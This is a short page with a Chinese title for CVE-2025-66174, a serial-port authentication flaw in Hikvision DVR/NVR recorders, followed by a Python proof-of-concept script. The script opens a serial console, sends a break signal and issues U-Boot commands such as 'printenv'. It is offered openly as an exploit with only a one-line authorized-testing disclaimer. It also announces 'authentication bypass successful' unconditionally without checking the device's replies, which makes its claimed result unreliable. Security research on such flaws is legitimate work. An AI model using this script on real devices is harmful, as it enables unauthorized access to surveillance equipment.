CVE-2025-66174 海康威视DVR/NVR设备串口特权升级漏洞

#!/usr/bin/env python3 """ CVE-2025-66174 PoC - Hikvision DVR/NVR Serial Port Authentication Bypass Note: This PoC demonstrates the authentication issue for authorized security testing only. Author: Security Research Reference: Hikvision Security Advisory """ import serial import time import sys def exploit_serial_vulnerability(target_device='/dev/ttyUSB0', baudrate=115200): """ Exploit improper authentication in Hikvision DVR serial port. Args: target_device: Serial device path baudrate: Baud rate for serial communication (typically 115200 for Hikvision) Returns: bool: True if exploitation successful """ try: # Initialize serial connection ser = serial.Serial( port=target_device, baudrate=baudrate, bytesize=serial.EIGHTBITS, parity=serial.PARITY_NONE, stopbits=serial.STOPBITS_ONE, timeout=1 ) print(f"[*] Connecting to {target_device} at {baudrate} baud...") time.sleep(2) # Clear serial buffer ser.reset_input_buffer() ser.reset_output_buffer() # Send break signal to trigger serial console ser.send_break(duration=0.25) time.sleep(1) # Read initial response response = ser.read(1024).decode('utf-8', errors='ignore') print(f"[*] Received: {response}") # Due to improper authentication, direct command execution is possible # Common Hikvision U-Boot commands commands = [ 'help', # Show available commands 'printenv', # Print environment variables 'version', # Show version info ] for cmd in commands: print(f"[*] Sending command: {cmd}") ser.write(f"{cmd}\n".encode()) time.sleep(0.5) response = ser.read(1024).decode('utf-8', errors='ignore') print(f"[*] Response:\n{response}") ser.close() print("[+] Exploitation completed - authentication bypass successful") return True except serial.SerialException as e: print(f"[-] Serial connection error: {e}") return False except Exception as e: print(f"[-] Unexpected error: {e}") return False def main(): if len(sys.argv) < 2: print("Usage: python3 cve-2025-66174.py <serial_device>") print("Example: python3 cve-2025-66174.py /dev/ttyUSB0") sys.exit(1) target = sys.argv[1] exploit_serial_vulnerability(target) if __name__ == "__main__": main()